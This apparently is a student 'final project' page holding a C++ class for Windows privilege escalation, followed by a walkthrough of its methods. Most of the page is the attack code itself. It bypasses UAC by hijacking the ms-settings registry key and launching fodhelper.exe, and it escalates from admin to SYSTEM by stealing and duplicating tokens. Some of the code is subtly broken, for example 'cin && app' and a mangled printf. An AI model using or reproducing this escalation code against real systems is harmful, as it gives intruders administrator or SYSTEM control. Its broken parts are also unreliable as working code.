

Privilege Escalation Class Final Project

Privilege Escalation Class

```
C++ Code
#include <iostream>
using namespace std;

class PrivEscalationClass{
public:
    // Constructor
    PrivEscalationClass();

    // Privilege Escalation Methods
    // Run a process as admin from a user account
    bool runProcAsAdminFromUser(string procName){
        HKEY hkey;
        DWORD d;
        const char* settings = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
        const char* del = " ";
        bool success = false;

        // Attempt to open or create the registry key
        LSTATUS stat = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCTSTR)settings, 0, NULL, 0, KEY_WRITE, NULL, &hkey, &d);
        if(stat != ERROR_SUCCESS){
            cout << "Failed to open or create reg key\n";
            return success;
        }

        // Set the registry values (command and DelegateExecute)
        stat = RegSetValueEx(hkey, "", 0, REG_SZ, (unsigned char*)procName.c_str(), strlen(procName.c_str()));
        if(stat != ERROR_SUCCESS){
            cout << "Failed to set reg value\n";
            return success;
        }

        // Set the DelegateExecute value to an empty string
        stat = RegSetValueEx(hkey, "DelegateExecute", 0, REG_SZ, (unsigned char*)del, strlen(del));
        if(stat != ERROR_SUCCESS){
            cout << "Failed to set reg value: DelegateExecute\n";
            return success;
        }

        // Close the key handle
        RegCloseKey(hkey);

        SHELL_EXECUTE_INFO sei = { sizeof(sei) };
        sei.lpVerb = "runas";
        sei.lpFile = "C:\\Windows\\System32\\fodhelper.exe";
        sei.hwnd = NULL;
        sei.nShow = SW_NORMAL;

        // Start the fodhelper.exe program with elevated privileges
        if (!ShellExecuteEx(&sei)) {
            DWORD err = GetLastError();
            printf("err == ERROR_CANCELLED ? \"The user refused to allow privilege elevation.\n\" : \"Unexpected error! Error code: %ld\n\", err);
        } else {
            printf("Successfully created process = \"%s\"\n", sei.lpFile);
        }
        success = true;
        return success;
    }

    // Run a process as system from an admin account
    bool runProcAsSystemFromAdmin(string procName){
        bool success = false;
        string username;
        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        string app;
        string userProcess;
        int pid = 0;
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        pe32.dwSize = sizeof(PROCESSENTRY32);
        cout << "Enter the path of the application you want to run as SYSTEM: ";
        cin && app;
        wstring wapp = wstring(app.begin(), app.end());
        LPCWSTR LPCApp = wapp.c_str();

        while (Process32Next(hProcSnap, &pe32)) {
            pid = pe32.th32ProcessID;
            username = GetProcessUserName(pid);
            if (username == "" || username == "NT AUTHORITY\\SYSTEM") {
                HANDLE cToken = getToken(pid);
                if (cToken != NULL || cToken == 0) {
                    success = createProcess(cToken, LPCApp);
                    if (success) {
                        break;
                    }
                }
            }
        }
        CloseHandle(hProcSnap);
        return success;
    }

    HANDLE getToken(DWORD pid) {
        string userProcess;
        HANDLE cToken = NULL;
        HANDLE ph = NULL;
        ph = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, pid);
        if (ph == NULL) {
            cToken = (HANDLE) NULL;
        } else {
            BOOL res = OpenProcessToken(ph, MAXIMUM_ALLOWED, &cToken);
            if (!res) {
                cToken = (HANDLE) NULL;
            } else {
                if (ph != NULL) {
                    CloseHandle(ph);
                }
            }
        }
        return cToken;
    }

    BOOL createProcess(HANDLE token, LPCWSTR app) {
        // Initialize variables
        HANDLE dToken = NULL;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        BOOL res = TRUE;
        ZeroMemory(&si, sizeof(STARTUPINFO));
        ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
        si.cb = sizeof(STARTUPINFO);

        res = DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &dToken);
        res = CreateProcessWithToken(dToken, LOGON_WITH_PROFILE, app, NULL, 0, NULL, NULL, &si, &pi);
        return res;
    }

    string GetProcessUserName(DWORD pid) {
        HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
        if (!hProcess) return "";
        HANDLE hToken = NULL;
        if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
            CloseHandle(hProcess);
            return "";
        }
        DWORD dwSize = 0;
        GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize);
        PTOKEN_USER pTokenUser = (PTOKEN_USER) malloc(dwSize);
        SID_NAME_USE sidType;
        char lpName[MAX_PATH];
        DWORD dwHomeSize = MAX_PATH;
        char lpDomain[MAX_PATH];
        DWORD dwDomainSize = MAX_PATH;
        if (!LookupAccountSid(NULL, pTokenUser->User.Sid, lpName, &dwHomeSize, lpDomain, &dwDomainSize, &sidType)) {
            free(pTokenUser);
            CloseHandle(hToken);
            CloseHandle(hProcess);
            return "";
        }
        string username(lpDomain);
        username += "\\";
        username += lpName;
        free(pTokenUser);
        CloseHandle(hToken);
        CloseHandle(hProcess);
        return username;
    }
};
```

This C++ code defines a PrivEscalationClass class, which contains methods for privilege escalation in a Windows environment. It focuses on running processes with elevated privileges, specifically from a user account to an admin account and from an admin account to the SYSTEM account. Let's break down the key methods and their functionalities:

1. runProcAsAdminFromUser(string procName):

- This method is designed to run a process as an administrator from a user account.
- It manipulates the Windows registry to set specific values under the ms-settings\Shell\Open\command registry key.
- The ShellExecuteEx function is then used to execute "fodhelper.exe" with elevated privileges, effectively launching the process as an administrator.

2. runProcAsSystemFromAdmin(string procName):

- This method attempts to run a process as the SYSTEM account from an admin account.
- It enumerates running processes using CreateToolhelp32Snapshot and Process32Next to find a suitable process to impersonate.
- The user is prompted to enter the path of the application they want to run as SYSTEM.
- It checks the username of each process, and if it's either empty or "NT AUTHORITY\SYSTEM," it proceeds to obtain the token of that process using getToken.
- If a valid token is obtained, it calls createProcess to create a new process with the specified application and the impersonated token.

3. getToken(DWORD pid):

- This method attempts to obtain the access token of a process with a given PID.
- It uses OpenProcess to open the target process and OpenProcessToken to retrieve its token.

4. createProcess(HANDLE token, LPCWSTR app):

- This method creates a new process with a specified access token.
- It duplicates the provided token using DuplicateTokenEx and then uses CreateProcessWithToken to create a new process with the duplicated token.

5. GetProcessUserName(DWORD pid):

- This method retrieves the username associated with a process's token.
- It opens the process using OpenProcess and its token using OpenProcessToken.
- It then uses LookupAccountSid to get the username associated with the token's SID.

The code aims to demonstrate privilege escalation techniques and impersonation within a Windows environment. However, it's essential to emphasize that using these techniques improperly or without proper authorization can lead to serious security and legal implications. This code should only be used for educational and ethical purposes, and any real-world use should strictly adhere to ethical and legal standards.